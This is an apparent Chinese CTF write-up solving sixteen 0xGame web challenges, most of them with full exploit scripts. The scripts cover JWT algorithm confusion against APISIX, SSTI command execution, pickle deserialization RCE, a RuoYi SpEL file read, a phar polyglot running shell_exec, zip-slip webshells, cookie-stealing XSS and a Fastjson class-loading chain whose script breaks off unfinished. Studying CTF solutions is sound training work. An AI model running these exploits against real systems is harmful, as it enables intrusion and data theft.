2026-0xGame【web】全解

作者:玄网安全 发布:2026-10-12 06:07 收录:2026-10-13 17:28 5 次阅读 约 6658 字
摘要:WEB1:ATP代码实验 漏洞在/static/submit.js /static/protect.js加密混淆解密后大致内容就是说 ctrl+u 这类代码进制 payload: fetch( '/submit' , { method: 'POST' , headers: { 'Content-Type' : 'app…
推荐理由:本文涵盖「0xGame」、「CTF」、「Web安全」等多个主题,重点关注 0xGame。

WEB1:ATP代码实验

漏洞在/static/submit.js

/static/protect.js加密混淆解密后大致内容就是说 ctrl+u 这类代码进制

payload:

fetch('/submit', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ code: document.querySelector('#ref-code').textContent })
}).then(r => r.json()).then(console.log)

WEB2:奶蛙的博客

在/static/hint.js提示

// 奶蛙的博客 - site script
// HINT: flag 被 gzip 压缩、base64 编码后拆成了碎片,每页一块,按 id 顺序拼起来。
console.log("[naiwa] hint: gzip -> base64 -> split, join fragments in id order");

payload:

import base64
import gzip
from html.parser import HTMLParser
from urllib.request import urlopen

BASE = "http://8000-595f5425-5e25-4164-b9b2-433c901a2938.challenge.ctfplus.cn"


class FragmentParser(HTMLParser):
    def __init__(self):
        super().__init__()
        self.in_fragment = False
        self.fragments = []

    def handle_starttag(self, tag, attrs):
        if tag == "span" and "flag-fragment"in dict(attrs).get("class", "").split():
            self.in_fragment = True

    def handle_data(self, data):
        if self.in_fragment:
            self.fragments.append(data)

    def handle_endtag(self, tag):
        if tag == "span" and self.in_fragment:
            self.in_fragment = False


pieces = []
for page_id in range(1, 125):
    with urlopen(f"{BASE}/page?id={page_id}", timeout=10) as response:
        page = response.read().decode("utf-8")

    parser = FragmentParser()
    parser.feed(page)
    if len(parser.fragments) != 1:
        raise ValueError(f"id={page_id}: 找到 {len(parser.fragments)} 个碎片")
    pieces.append(parser.fragments[0])

encoded = "".join(pieces)
flag = gzip.decompress(base64.b64decode(encoded, validate=True)).decode("utf-8")
print(flag)

WEB3:错位的签名

提示 1

这是个Apache APISIX的有关jwt的CVE

一个普通的jwt验证系统......但似乎配置有些问题?

Web 服务器Apache APISIX 3.16.0

还是要让ai修改一下exp

漏洞是 CVE-2026-39999,APISIX JWT 算法混淆:admin 配置为 RS256,APISIX 因此取其公钥作为验签密钥;但实际验签算法取自攻击者可控的 JWT 头。把 alg 改成 HS256,并用公钥原文作为 HMAC 密钥,就能伪造 admin token。公钥末尾不能额外加换行,我验证过多一个换行会导致 401

payload:

import base64
import hashlib
import hmac
import html
import json
import re
import time

import requests

BASE = "http://9080-5cd01cab-8193-4109-8799-5f1d72e4eac2.challenge.ctfplus.cn"


def b64url(data):
    return base64.urlsafe_b64encode(data).decode().rstrip("=")


session = requests.Session()
login = session.post(
    f"{BASE}/login",
    data={"username": "guest", "password": "guest123"},
)
login.raise_for_status()

page = session.get(f"{BASE}/public-key")
page.raise_for_status()
match = re.search(r'<pre class="codeblock">(.*?)</pre>', page.text, re.S)
if not match:
    raise RuntimeError("未找到公钥")
public_key = html.unescape(match.group(1))

now = int(time.time())
header = {"alg": "HS256", "typ": "JWT"}
payload = {
    "key": "admin",
    "role": "admin",
    "sub": "admin",
    "exp": now + 3600,
    "nbf": now - 60,
}

encode_json = lambda obj: b64url(
    json.dumps(obj, separators=(",", ":")).encode()
)
message = f"{encode_json(header)}.{encode_json(payload)}"
signature = b64url(
    hmac.new(public_key.encode(), message.encode(), hashlib.sha256).digest()
)
token = f"{message}.{signature}"

response = session.get(f"{BASE}/flag", params={"jwt": token})
response.raise_for_status()
flag = re.search(r"0xGame\{[^}]+\}", response.text)
print(flag.group(0) if flag else response.text)

WEB4:ez_64

<?php
chdir(__DIR__);

if (isset($_GET['c'])) {
    $c = $_GET['c'];
    if (preg_match("#^[/?. fla64]*$#", $c)) {
        system($c);
    } else {
        die("no no no!");
    }
} else {
    highlight_file(__FILE__);
}

核心:if (preg_match("#^[/?. fla64]*$#", $c)) {

只允许 / ? . 空格 f l a 6 4 payload:/???/?a?%20./????.???

root@opis:/mnt/c/Users/34645/Downloads# grep -aobE '0xGame\{[^}]+\}' check.html
726799:0xGame{afb1bbbe-24e3-4b3e-9a3f-652cd992ad07}

WEB5:渲染如呼吸一样简单

提示:engine: jinja2-previewpayload: {{lipsum.globals.get("os").popen("env").read()}}

WEB6:漏风的沙箱

有点黑

print.__self__.__dict__:print 是内置函数,它的 __self__ 指向 builtins 模块;__dict__ 是该模块的函数表。

["__im"+"port__"]("o"+"s"):运行时拼出 __import__ 和 os,相当于导入 os

.__dict__["po"+"pen"]("ls /app"):从 os 模块的函数表中取出 popen 执行命令

print(*...):os.popen() 返回可逐行迭代的命令输出。* 将各行展开为 print 的参数,让结果进入程序捕获的标准输出,并显示在网页上。

flag在/app里

WEB7:一切的开始

提示:不知道干什么?扫扫目录康康?robots.txt 提示:/inex233

请get传参aaa=flag
请post传参bbb=flag
cookie:sweet=sweet
你必须来自127.0.0.1:Referer: http://127.0.0.1/

WEB8:pollute the key

分析源码:

在 /api/user/update中,已登录用户可以提交任意 key 和 value:

pydash.set_(me, key, value)

if "__builtins__" in key:
        return jsonify({"ok": False, "msg": "字段路径非法: 该路径被禁止修改"}), 400

代码只禁止路径中出现 __builtins__。虽然它在操作后恢复了当前用户的 username、role,但没有限制路径沿着 me 的类、函数再到模块全局变量。值得验证的路径是:

__class__.__init__.__globals__.SECRET_KEY

1:向 /api/user/update 提交下面的 JSON,修改模块全局 JWT 密钥:

{
  "key": "__class__.__init__.__globals__.SECRET_KEY",
  "value": "ctfprobe-secret-2026"
}

在线加密

提示:购物车沿用旧版客户端协议:pickle 序列化后 base64 提交(服务端保持兼容)。示例 cart = KGxwMApWcDEwMDEKcDEKYVZwMTAwMgpwMgphLg==

回到/api/order/buy中cart = pickle.loads(base64.b64decode(raw))

POST /api/order/buy 仅允许管理员访问。源码会先对表单字段 cart 进行 Base64 解码和 pickle.loads,之后才检查反序列化结果是不是列表。pickle.loads 执行期间就已经可以触发恶意对象的 __reduce__。

构造对象:

class ReadFlag:
    def __reduce__(self):
        expression = '(_ for _ in ()).throw(Exception(open("/flag").read()))'
        return eval, (expression,)

payload:

import base64
import hashlib
import hmac
import json
import pickle
import re
import secrets
import time

import requests

BASE = "http://5000-b216c74a-ba63-4463-9ae4-3f0b8369cfc3.challenge.ctfplus.cn"

username = "ctf_" + secrets.token_hex(5)
password = secrets.token_urlsafe(16)
known_secret = "ctf_" + secrets.token_hex(24)
session = requests.Session()


def b64url(raw):
    return base64.urlsafe_b64encode(raw).decode().rstrip("=")


def encode_json(value):
    raw = json.dumps(value, separators=(",", ":")).encode()
    return b64url(raw)


def make_admin_jwt(secret):
    now = int(time.time())
    header = {"alg": "HS256", "typ": "JWT"}
    payload = {
        "username": "admin",
        "role": "admin",
        "iat": now,
        "exp": now + 3600,
    }
    message = encode_json(header) + "." + encode_json(payload)
    signature = hmac.new(
        secret.encode(), message.encode(), hashlib.sha256
    ).digest()
    return message + "." + b64url(signature)


class ReadFlag:
    def __reduce__(self):
        expression = '(_ for _ in ()).throw(Exception(open("/flag").read()))'
        returneval, (expression,)


# 第一步:注册
r = session.post(
    BASE + "/api/register",
    json={"username": username, "password": password},
    timeout=10,
)
r.raise_for_status()
print("[1] 注册:", r.json())

# 第二步:登录,session 自动保存普通用户 token Cookie
r = session.post(
    BASE + "/api/login",
    json={"username": username, "password": password},
    timeout=10,
)
r.raise_for_status()
print("[2] 登录:", r.json())

# 第三步:通过 pydash.set_ 改写模块全局 JWT 密钥
r = session.post(
    BASE + "/api/user/update",
    json={
        "key": "__class__.__init__.__globals__.SECRET_KEY",
        "value": known_secret,
    },
    timeout=10,
)
r.raise_for_status()
print("[3] 更新:", r.json())

# 第四步:用已知密钥签发 admin JWT,替换普通用户 Cookie
session.cookies.clear()
session.cookies.set("token", make_admin_jwt(known_secret))

r = session.get(BASE + "/api/order/list", timeout=10)
print("[4] 管理员接口:", r.status_code, r.text)
if r.status_code != 200 or not r.json().get("ok"):
    raise RuntimeError("管理员 JWT 未通过验证")

# 第五步:将恶意 pickle 编码为购物车表单参数
cart = base64.b64encode(pickle.dumps(ReadFlag())).decode()
r = session.post(
    BASE + "/api/order/buy",
    data={"cart": cart},
    timeout=10,
)
print("[5] 反序列化接口:", r.status_code, r.text)

# HTTP 400 是预期结果:异常内容位于 msg
msg = r.json().get("msg", "")
match = re.search(r"(?:0xGame|flag)\{[^}]+\}", msg)
if not match:
    raise RuntimeError("响应中未找到 flag")

print("[+] Flag:", match.group())

WEB9:关注塔菲谢谢喵~

题目:关注永雏塔菲谢谢喵~

flag触发就是将永雏塔菲把票数点满

 if (res.msg === "一个账号只能投一票!") {

所以就是突破一个账号的限制

POST /api/vote HTTP/1.1
Host: 8087-d4c1c7f0-cff3-476a-be33-2d7751a3865c.challenge.ctfplus.cn
Content-Length: 5
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://8087-d4c1c7f0-cff3-476a-be33-2d7751a3865c.challenge.ctfplus.cn
Referer: http://8087-d4c1c7f0-cff3-476a-be33-2d7751a3865c.challenge.ctfplus.cn/
Accept-Encoding: gzip, deflate, br
Cookie: voter=guest_d616e70fba4b7633; sid=IarRUPL7XGCVrIr0BRU0Qbsc
Connection: keep-alive

vid=7

这是抓包的内容 看到cookie有voter和sid2个字段。重点就是cookie,限制一个账号一次登入,所以去掉

测试发现限制绑在 voter cookie 上,不绑登录态 sid

无线爆破启动

flag字段"flag": "MHhHYW1le3YwdGVfNF90YWYzaV9UaGFuazVfbWlAb30="0xGame{v0te_4_taf3i_Thank5_mi@o}

WEB10:奶蛙的服务器

修复服务器

查看日志

在/var/log/nginx/中没有发现报错日志,空的。

查看nginx配置内容

nclude /etc/nginx/mime.types;
    default_type application/octet-stream;
    sendfile on;
    access_log /srv/naiwa/logs/access.log;
    error_log /srv/naiwa/logs/error.log warn;

真实目录在/srv/naiwa/logs/

2026/10/05 07:34:31 [crit] 28#28: *15 connect() to unix:/run/php/php-fpm.sock failed (2: No such file or directory) while connecting to upstream, client: 192.168.147.201, server: _, request: "GET /favicon.ico HTTP/1.1", upstream: "fastcgi://unix:/run/php/php-fpm.sock:", host: "80-6cf2a4bb-fc86-443b-bc9c-af7c6578ae6b.challenge.ctfplus.cn", referrer: "http://80-6cf2a4bb-fc86-443b-bc9c-af7c6578ae6b.challenge.ctfplus.cn/"

Nginx 配置了连接 /run/php/php-fpm.sock,但这个 PHP-FPM Socket 不存在(通常是 PHP-FPM 未启动或 Socket 路径配置错误)

php-fpm 没起来,是因为启动脚本 /usr/local/sbin/php-fpm-service 会先读 /srv/naiwa/config/service.ini,四项必须同时正确才允许启动:

配置项 当时的值 要求的值
mode recovery production
maintenance on off
listen 127.0.0.1:8088 0.0.0.0:80
secret_backend disabled enabled

/srv/naiwa/config/service.ini

[service]
mode = production
maintenance = off
listen = 0.0.0.0:80
secret_backend = enabled

WEB11:留言板

目录扫描和admin爆破密码都没内容

最后一步测试sq

%bf' or '1=1

登录结果:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\'1=1' LIMIT 1' at line 1

进行sqlmap进行爆破,注意的是自带的 unmagicquotes 只替换第一个引号,后面的引号仍被 addslashes 转义,报错注入识别不了

在 tamper/gbkquotes.py 里把每个 ' 都换成 %bf%27,再加 --suffix="#"

root@opis:/mnt/d/CTF/CTF-WEB/sqlmap-1.10/sqlmap-1.10# python3 sqlmap.py -u "http://80-2ed3cb1b-90b5-4543-9fd6-4ceb8d15a74e.challenge.ctfplus.cn" --data="action=login&username=admin&password=x" -p username --tamper=gbkquotes --suffix="#" --dbms=mysql --technique=E --dump -D board

获取flag 1  | admin  | GbkXxe@2026 | admin    | 2026-10-05 07:50:26 | 站点管理员

发现:xxe注入

web12:!?SPEL?!

弱口令 admin/admin123登入后台

漏洞名称:RuoYi /monitor/cache/getValue + fragment 参数 SSTI(CVE-2025-14856)

看payload

import requests
import re
import urllib.parse

base = "http://8080-283cd42d-cdfc-45c4-9974-ab3d5d5acfd7.challenge.ctfplus.cn"

s = requests.Session()
s.verify = False

# 登录
login = s.post(
    f"{base}/login",
    data={"username": "admin", "password": "admin123"},
    allow_redirects=False
)
cookie = login.cookies.get("token") or login.cookies.get("JSESSIONID")
if not cookie:
    print("登录失败")
    exit()

s.cookies.update({"token": cookie})

payload = (
    r'__\'${\'#ctx.getClass().forName("java.util.Scanner").getConstructor(#ctx.getClass().forName("java.io.File")).newInstance('
    r'#ctx.getClass().forName("java.io.File").getConstructor(#ctx.getClass().forName("java.lang.String")).newInstance("/flag")).useDelimiter("\\A").next()}\'__'
)

resp = s.post(
    f"{base}/monitor/cache/getValue",
    data={
        "fragment": f"fragment-cache-value(cacheValue={payload})",
        "cacheName": "sys-config",
        "cacheKey": "x"
    },
    allow_redirects=False
)

content = resp.text
print("返回内容:")
print(content)
flag = re.search(r'
flag\{.*?\}', content)
if flag:
    print("\n✅ Flag:", flag.group(0))
else:
    print("\n未找到 flag")

WEB13:千奇百怪的反序列化

Upload a gif/jpg/png页面只接受 gif/jpg/png。

then preview it with ?page=. 预览参数 page 会直接 include/?page=pages%2Fhome.phpGET /?page=php://filter/read=convert.base64-encode/resource=secret/flag.php

<?php
class inex
{
    public $a;
    public $b;

    public function__wakeup()
    {
        $this->a = 'safe';
        $this->b = 'safe';
    }

    public function__destruct()
    {
        if ($this->a === 'evil') {
            echo ($this->b);
        }
    }
}

class clannad
{
    public $a;
    public $b;

    public function__tostring()
    {
        if (strlen($this->b) < 4 && $this->b + 1 > 10000) {
            $this->a->fff(1);
            return$this->b;
        }
        return'null';
    }
}

class air
{
    public $md5a;
    public $md5b;
    public $arg1;
    public $arg2;
    public $last;
    public $afterreplaced;
    public $rce;

    public function __call($name, $arguments)
    {
        if (
            is_string($this->md5a) &&
            is_string($this->md5b) &&
            md5($this->md5a) === md5($this->md5b) &&
            $this->md5a !== $this->md5b
        ) {
            $last = new secretbase();

            $last->rce = 'hello';
            $last->aaa = $this->arg1;
            $last->bbb = $this->arg2;

            echo (serialize($last) . "\n");

            $afterreplaced = str_replace(
                'cc',
                'ddd',
                serialize($last)
            );

            echo ($afterreplaced);

            $this->rce = unserialize($afterreplaced)->rce;

            if (
                !is_string($this->rce) ||
                $this->rce === '' ||
                strlen($this->rce) > 80 ||
                preg_match('/[^\x20-\xff();\x0a]/', $this->rce)
            ) {
                return;
            } else {
                eval($this->rce);
            }
        }
    }
}

class secretbase
{
    public $aaa;
    public $bbb;
    public $rce;
}

class S0S
{
    public $a;

    public function__wakeup()
    {
        unserialize($this->a);
    }
}

定义了 inex、clannad、air、secretbase、SOS,是一条反序列化链


/?page=php://filter/convert.base64-encode/resource=index.php读取到index内容

<?php
error_reporting(0);
require_once __DIR__ . '/secret/flag.php';

functiongallery_upload()
{
if (!isset($_FILES['art']) || $_FILES['art']['error'] !== UPLOAD_ERR_OK) {
    return'upload failed';
  }

$ext = strtolower(pathinfo($_FILES['art']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, array('gif', 'jpg', 'jpeg', 'png'), true)) {
    return'gif/jpg/png only';
  }

$head = file_get_contents($_FILES['art']['tmp_name'], false, null, 0, 8);
$ok = false;

if (substr($head, 0, 6) === "GIF89a" ||
      substr($head, 0, 6) === "GIF87a") {
    $ok = true;
  }

if (substr($head, 0, 3) === "\xFF\xD8\xFF") {
    $ok = true;
  }

if ($head === "\x89PNG\r\n\x1a\n") {
    $ok = true;
  }

if (!$ok) {
    return'magic mismatch';
  }

$name = sha1_file($_FILES['art']['tmp_name']) . '.' . $ext;
$path = __DIR__ . '/uploads/' . $name;

if (!move_uploaded_file($_FILES['art']['tmp_name'], $path)) {
    return'move failed';
  }

return'uploaded: uploads/' . $name;
}

$message = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$message = gallery_upload();
}

$page = isset($_GET['page']) ? $_GET['page'] : 'pages/home.php';
$target = false;

if (is_string($page) && strpos($page, "\0") === false) {
$probe = str_replace('\\', '/', trim($page));

$isIntendedPhar = preg_match(
    '~^phar://uploads/[0-9a-f]{40}\.(?:gif|jpg|jpeg|png)/test\.txt$~i',
    $probe
  );

$touchesUploadBody = preg_match(
    '~(^|[/:=])uploads/[0-9a-f]{40}\.(?:gif|jpg|jpeg|png)(?:$|[/?#&])~i',
    $probe
  );

if (
    $probe !== '' &&
    $probe[0] !== '/' &&
    !preg_match('#(^|/)\.(?:/|$)#', $probe) &&
    !preg_match('#(^|/)\.\./(?:/|$)#', $probe) &&
    !preg_match('~(^|[/:=])flag(?:$|[/?#&])~i', $probe) &&
    (!$touchesUploadBody || $isIntendedPhar)
  ) {
    $target = $page;
  }
}
?>

漏洞 1:任意本地文件包含

触发条件:page 通过下面这组检查后原样进入 include。

1:不能含 \0、不能以 / 开头、不能含 ./ 或 ../

2:路径里不能出现 flag

3:如果碰到 uploads/<40位sha1>.(gif|jpg|jpeg|png),则必须整段匹配 phar://uploads/<sha1>.<ext>/test.txt

只校验 8 字节文件头的上传

位置:gallery_upload()

触发条件:扩展名是 gif/jpg/jpeg/png,且前 8 字节命中 GIF89a、GIF87a、JPEG 或 PNG 魔数。文件名被改成内容的 sha1,其余字节不检查。

上传校验只看扩展名和前 8 字节。phar 的 stub 写成 GIF89a 开头,扩展名用 .gif,就能通过校验。phar 里放一个 test.txt,内容是要被 include 执行的 PHP。

<?php
// php -d phar.readonly=0 make.php
@unlink(__DIR__ . '/flag.phar');
$p = new Phar(__DIR__ . '/flag.phar');
$p->startBuffering();

// include 会执行这个文件,扩展名无所谓
$p->addFromString('test.txt', "<?php echo shell_exec('cat /flag');");

// 前 6 字节必须是 GIF89a,后面接 phar 结束标记
$p->setStub("GIF89a\n<?php __HALT_COMPILER(); ?>\n");

$p->stopBuffering();
echo'sha1=' . sha1_file(__DIR__ . '/flag.phar') . "\n";
echo'size=' . filesize(__DIR__ . '/flag.phar') . "\n";

php -d phar.readonly=0 make.php

访问:/?page=phar://uploads/805129d6489eb4b14942a5fec652c032af460cf8.gif/test.txt

include 打开这个 phar 条目并执行 test.txt。open_basedir 是 /app/src:/tmp,file_get_contents('/flag') 会被拒绝,但 disable_functions 为空,shell_exec 不受 open_basedir 限制。

WEB14:文件上传的千层套路

网页提示你只能直接访问 /var/www/pub 目录

上传内容显示:解压目录: /var/www/html/uploads/1.zip 1.png => 拒绝(单文件超过100KB)

上传任意 ZIP,观察解压目录为 /var/www/html/uploads/,后缀仅支持 png/jpg/jpeg/gif/bmp,文件头必须符合图片魔数,内容不能包含 $、反引号、<?(必须用 <?=短标签),且readfile 等函数可使用。

构造 .htaccess 激活 PHP 解析

import zipfile, os
PNG = b'\x89PNG\r\n\x1a\n'
with zipfile.ZipFile('htaccess.zip', 'w') as z:
    z.writestr('../../../pub/.htaccess', b'AddType application/x-httpd-php .png')

联想到长城杯的题目,也是ZIP目录穿越解压,🐎

列出根目录,确认 flag 文件名

import zipfile
PNG = b"\x89PNG\r\n\x1a\n"
with zipfile.ZipFile("list.zip", "w") as z:
    z.writestr("../../../pub/list.png", PNG + b'<?=print_r(glob("/*"))?>')

看到 /flag_abc6493d.txt

import zipfile
PNG = b"\x89PNG\r\n\x1a\n"
with zipfile.ZipFile("flag.zip", "w") as z:
    z.writestr("../../../pub/flag.png", PNG + b'<?=readfile("/flag_5b9950e8.txt")?>')

WEB15:留言板 revenge

1. 分析平台机制

  • 作者可创建留言板,上传静态资源(review-*.js 形式)。
  • 发布后,机器人会自动访问公开页 /p/<slug>/,仅渲染允许的标签(极少量)。
  • 头部片段(head_snippet)可包含 <style> 和 <base>。
  • 审核视角的隐藏域 input[name=review-script] 会携带文件名(review-<6位hex>.js)。
  • 机器人浏览器会执行 review-*.js,此 JS 必须带 CSP nonce,才能在受限环境中执行任意 JS。

2. 关键观察点

  • 审查脚本文件名可通过 CSS 属性选择器外带(value^="review-" 后跟 6 位 hex)。
  • <base href="/uploads/<slug>/"> 可让相对路径解析成我们上传的 JS。
  • 机器人访问时会携带 nonce-xxx,我们的 JS 可被 CSP 信任执行。
  • 所有外带数据通过 /collect/<slug>?kind=xxx&value=xxx 通道。

3. 解题流程

Step 1:创建留言板 & 上传头部片段

# 模拟浏览器操作
POST /create
  title=testboard
  body=hello body
  head_snippet=<style>body{color:red}</style>

Step 2:外带审查脚本文件名

使用以下 CSS 逐位外带:

<style>
body:has(input[name="review-script"][value^="review-0"]){background:url(/collect/c5d054f9?kind=p0&value=0)}
body:has(input[name="review-script"][value^="review-1"]){background:url(/collect/c5d054f9?kind=p0&value=1)}
...
body:has(input[name="review-script"][value^="review-f"]){background:url(/collect/c5d054f9?kind=p0&value=f)}
</style>

连续执行 6 次即可获得完整文件名 review-a8b1a8.js。

Step 3:上传同名 JS 恶意代码

POST /manage/<slug>/asset
  filename=review-a8b1a8.js
  content=...
(async () => {
  const slug = "c5d054f9";
  const send = (k, v) => fetch(`/collect/${slug}?kind=${k}&value=${v}`, {credentials:"include"}).catch(()=>{});
  const cookie = document.cookie;
  const href = location.href;
  await send("cookie", cookie);
  await send("href", href);
})();

Step 4:注入 <base> 劫持静态资源

<head>
  ...
  <base href="/uploads/c5d054f9/">
  <style> /* 外带脚本名的样式 */ </style>
</head>

Step 5:触发机器人预览

POST /manage/<slug>/report
  token=<token>

机器人会访问 /p/<slug>/,解析 <base>,加载 review-a8b1a8.js,执行我们的代码。

4. 最终效果

我们的 JS 在机器人浏览器中执行,读取 document.cookie,flag 直接出现在 cookie 中:

flag=0xGame{2a7b41af-6fa2-4449-b009-173b3677cc6d}

WEB16:让我解解你的json......不耗!

题目是一个 Fastjson 1.2.83 JSON 解析接口,AutoType 关闭,但解析成功的 Map 会原样回显。checkAutoType 仍会按 @type 做 getResourceAsStream 探测 @JSONType。把未传完的 multipart 上传留在 /proc/self/fd/N,再按「点号二进制名 / 斜杠内部名」加载一个继承 HashMap 的类,构造函数读 /flag,响应里直接带出 flag。

依赖:Python 3、JDK(javac --release 8)。完整 payload 脚本在文末,保存为 solve.py 后直接运行。

解题过程

题目没有给源码。行为可以确定后端是 Fastjson 1.2.83(JSON.parse 后把结果写回响应):

请求
结果
{"a":1}200 {"a":1}
{"@type":"java.util.HashMap"}200 {}
{"@type":"java.util.ArrayList"}200 []
{"@type":"java.util.Date"}200
 ISO 时间字符串
{"@type":"java.lang.Object"}406
不存在的类型
500
,Spring 默认错误页,不回异常文本

406 表示类型解析成功但结果不是可回显的 Map/List/字符串/日期。500 表示解析阶段就失败。所以只要加载一个能放进 Map 的类,flag 会走正常的 200 回显,不需要外带。

漏洞:ParserConfig.checkAutoType(fastjson 1.2.83)

AutoType 关闭时,未知类型仍会走到资源探测。对应 ParserConfig.java 约 1479–1510 行:

String resource = typeName.replace('.', '/') + ".class";
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
if (is != null) {
    ClassReader classReader = new ClassReader(is, true);
    TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
    classReader.accept(visitor);
    jsonType = visitor.hasJsonType();
}
if (autoTypeSupport || jsonType || expectClassFlag) {
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
if (clazz != null && jsonType) {
    return clazz;   // 直接放行,不再走 deny
}

触发条件:类字节上有运行时可见的 Lcom/alibaba/fastjson/annotation/JSONType;,且类加载器把资源名当成 jar: URL(Spring Boot fat jar 的 LaunchedURLClassLoader 满足)。影响:攻击者提供的类被 defineClass,<clinit> 和构造函数在解析线程里执行。

类型名还有两道 JVM 限制,payload 必须同时满足:

  1. ClassLoader.checkName 拒绝二进制名里的 /。@type 只能用点号形式。
  2. defineClass 要求二进制名把 / 换成 . 之后,等于 class 文件里的内部名。JDK 9+ 拒绝 ://,但 jar:file:/proc/self/fd/N 只有单个 :/,可以通过。

因此一对名字必须严格对应:

@type     jar:file:.proc.self.fd.13!.fd13.H0
replace   jar:file:/proc/self/fd/13!/fd13/H0.class
内部名    jar:file:/proc/self/fd/13!/fd13/H0
JAR 条目  fd13/H0.class

类文件要用 javac --release 8。1.2.83 自带的 ASM ClassReader 读不了更高的 class 版本,异常被吞掉后 hasJsonType 变成 false,表现就是普通的 500。@JSONType(asm=false) 用来避免随后对这种非法类名走 ASM 序列化。

类继承 HashMap。MapDeserializer.createMap 对未知 Map 子类调用 newInstance(),构造函数里 put 的条目会原样出现在响应里。普通 Object 会被接口打成 406,所以必须是 Map。

验证 payload(命中正确 fd 时):

{"@type":"jar:file:.proc.self.fd.13!.fd13.H0"}

实际响应:

{"cwd":"/app/.","root":"...,flag,entrypoint.sh,app","f0":"0xGame{61d9e381-8547-4430-a067-377b347e7459}\n","env":"null","m":"1","fd":"0013"}

把 JAR 留在 fd 上

题目不出网,不能走 jar:http 把 JAR 下载进 jar_cache。改用 Tomcat 的 multipart 临时文件:

  • Content-Type: multipart/form-data,Content-Length 比已发送正文大 200000,并且不发结束 boundary。
  • 容器把 part 写到临时文件后阻塞读剩余 body,FileOutputStream 的 fd 一直留在 /proc/self/fd/N。/proc/self 是进程级的,另一条请求可以读到。
  • JAR 用 ZIP_STORED。后面再垫 32KB 的 A:足够把 ZIP 尾部的 EOCD 冲出 FileUpload 的缓冲区,又小于 ZipFile 从末尾向前找 EOCD 的窗口,临时文件末尾多出来的填充不会把 JAR 读坏。

fd 号不固定。低号 fd 经常是进程自己的 jar 或 socket,打开会慢甚至卡住。并发不能太高:18 条半开上传加上 8 个探测会把 Tomcat 线程占满,后续探测全部超时。4 条上传、2 个探测线程、扫 3..79 即可。本次命中的是 fd 13。

复现

把下面整段保存为 solve.py,在能访问题目的机器上执行 python solve.py。脚本自己写注解 stub 和 H0.java,用 javac --release 8 编译,改常量池里的内部类名,为每个 fd 打一份 class,再边占着上传边扫描。换实例时改 HOST,或用环境变量 TARGET_HOST。

#!/usr/bin/env python3
"""0xGame JSON 解析器

Fastjson 1.2.83(AutoType 关闭)会把 @type 里的 '.' 换成 '/' 再
getResourceAsStream。未结束的 multipart 上传把 JAR 留在 /proc/self/fd/N,
类名按「点号二进制名 / 斜杠内部名」对齐后即可加载。该类继承 HashMap,
构造时读 /flag,解析结果被原样回显。

依赖: Python 3, javac(支持 --release 8)
"""

import json
import os
import re
import socket
import struct
import subprocess
import sys
import tempfile
import threading
import time
import zipfile

HOST = os.environ.get(
    "TARGET_HOST",
    "8080-dea08705-e113-4d7c-8d9a-43706f6d7a6f.challenge.ctfplus.cn",
)
PORT = int(os.environ.get("TARGET_PORT", "80"))
FD_LO = int(os.environ.get("FD_LO", "3"))
FD_HI = int(os.environ.get("FD_HI", "80"))  # exclusive
SEEDS = int(os.environ.get("SEEDS", "4"))
WORKERS = int(os.environ.get("WORKERS", "2"))
BOUND = "----x7f3a9c"

running = True
found = threading.Event()
hit_body = []


def log(msg):
    print(f"[{time.strftime('%H:%M:%S')}] {msg}", flush=True)


JSONTYPE_JAVA = r"""
package com.alibaba.fastjson.annotation;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
public @interface JSONType {
    boolean asm() default true;
}
"""


# 描述符必须是 Lcom/alibaba/fastjson/annotation/JSONType;
# asm=false 避免 fastjson 对异常类名走 ASM 序列化。
# Qz9N 是定长占位,打进常量池后按 fd 原地替换,用来确认命中的描述符。
H0_JAVA = r"""
import com.alibaba.fastjson.annotation.JSONType;
import java.io.File;
import java.io.FileInputStream;
import java.util.HashMap;

@JSONType(asm = false)
public class H0 extends HashMap {
    public H0() {
        put("m", "1");
        put("fd", "Qz9N");
        String[] ps = new String[] {
            "/flag", "/flag.txt", "/app/flag", "/app/flag.txt",
            "/opt/flag", "/tmp/flag", "/home/ctf/flag", "/home/flag/flag",
            "/var/flag", "/flag/flag", "flag", "flag.txt"
        };
        for (int i = 0; i < ps.length; i++) {
            try {
                File f = new File(ps[i]);
                if (f.isFile() && f.length() > 0 && f.length() < 200000) {
                    int n = (int) f.length();
                    byte[] b = new byte[n];
                    FileInputStream in = new FileInputStream(f);
                    int off = 0, r;
                    while (off < n && (r = in.read(b, off, n - off)) > 0) off += r;
                    in.close();
                    put("f" + i, new String(b, 0, off, "UTF-8"));
                }
            } catch (Throwable t) {
                put("e" + i, t.getClass().getName());
            }
        }
        try {
            put("cwd", new File(".").getAbsolutePath());
            put("env", String.valueOf(System.getenv("FLAG")));
            String[] root = new File("/").list();
            if (root != null) {
                StringBuilder sb = new StringBuilder();
                int lim = root.length < 50 ? root.length : 50;
                for (int i = 0; i < lim; i++) {
                    if (i > 0) sb.append(',');
                    sb.append(root[i]);
                }
                put("root", sb.toString());
            }
        } catch (Throwable t) {
            put("err", String.valueOf(t));
        }
    }
}
"""



def patch_utf8(raw, old, new):
    """替换常量池里唯一一条内容恰好等于 old 的 Utf8(改 this_class 的内部名)。"""
    old_b, new_b = old.encode(), new.encode()
    cp_count = struct.unpack(">H", raw[8:10])[0]
    off = 10
    i = 1
    while i < cp_count:
        tag = raw[off]
        if tag == 1:
            ln = struct.unpack(">H", raw[off + 1 : off + 3])[0]
            if raw[off + 3 : off + 3 + ln] == old_b:
                return raw[: off + 1] + struct.pack(">H", len(new_b)) + new_b + raw[off + 3 + ln :]
            off += 3 + ln
        elif tag in (7, 8, 16, 19, 20):
            off += 3
        elif tag == 15:
            off += 4
        elif tag in (3, 4, 9, 10, 11, 12, 17, 18):
            off += 5
        elif tag in (5, 6):
            off += 9
            i += 1
        else:
            raise SystemExit(f"bad constant-pool tag {tag}")
